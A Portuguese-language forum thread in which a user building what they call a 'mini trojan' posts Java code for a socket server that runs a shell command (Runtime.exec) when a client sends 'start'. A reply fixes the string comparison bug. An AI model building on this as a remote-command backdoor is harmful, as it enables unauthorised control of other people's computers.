Socket | Executar Comandos

bom pessoal boa tarde,estou criando um mini trojan de conexão direta e travei na parte de enviar o comando para o servidor, eu consequi de uma forma um pouca estranha,mas eu quero fazer uma parada maneira e não cambiarra

ele não executa o comando se for iqual a start ,mas se for diferente ele executa :slight_smile:

eu queroo sequinte,se o usuario digitar start , ele abre o navegador no servidor,mas não foi srsr

    ServerSocket server = new ServerSocket(10000);
    String comando = "start" ;
    Socket cliente = new Socket();

    cliente = server.accept();

    System.out.print("Nova Conexão : " + cliente.getInetAddress().getHostAddress());

    
    Scanner input = new Scanner(cliente.getInputStream());
    while (input.hasNextLine()) {
        
        if(cliente.getInputStream().equals("start")){

System.out.println(input.nextLine());

        Runtime.getRuntime().exec("mkdir pastel");
        }
    
       
     
    }
    input.close();
    server.close();
    cliente.close();

}

Um objeto do tipo InputStream nunca vai ser igual à um objeto do tipo String.

Faça assim:

while (input.hasNextLine()) {
    String linha = input.nextLine();
    if ("start".equals(linha)) {
        // faz o que tem que fazer
1 curtida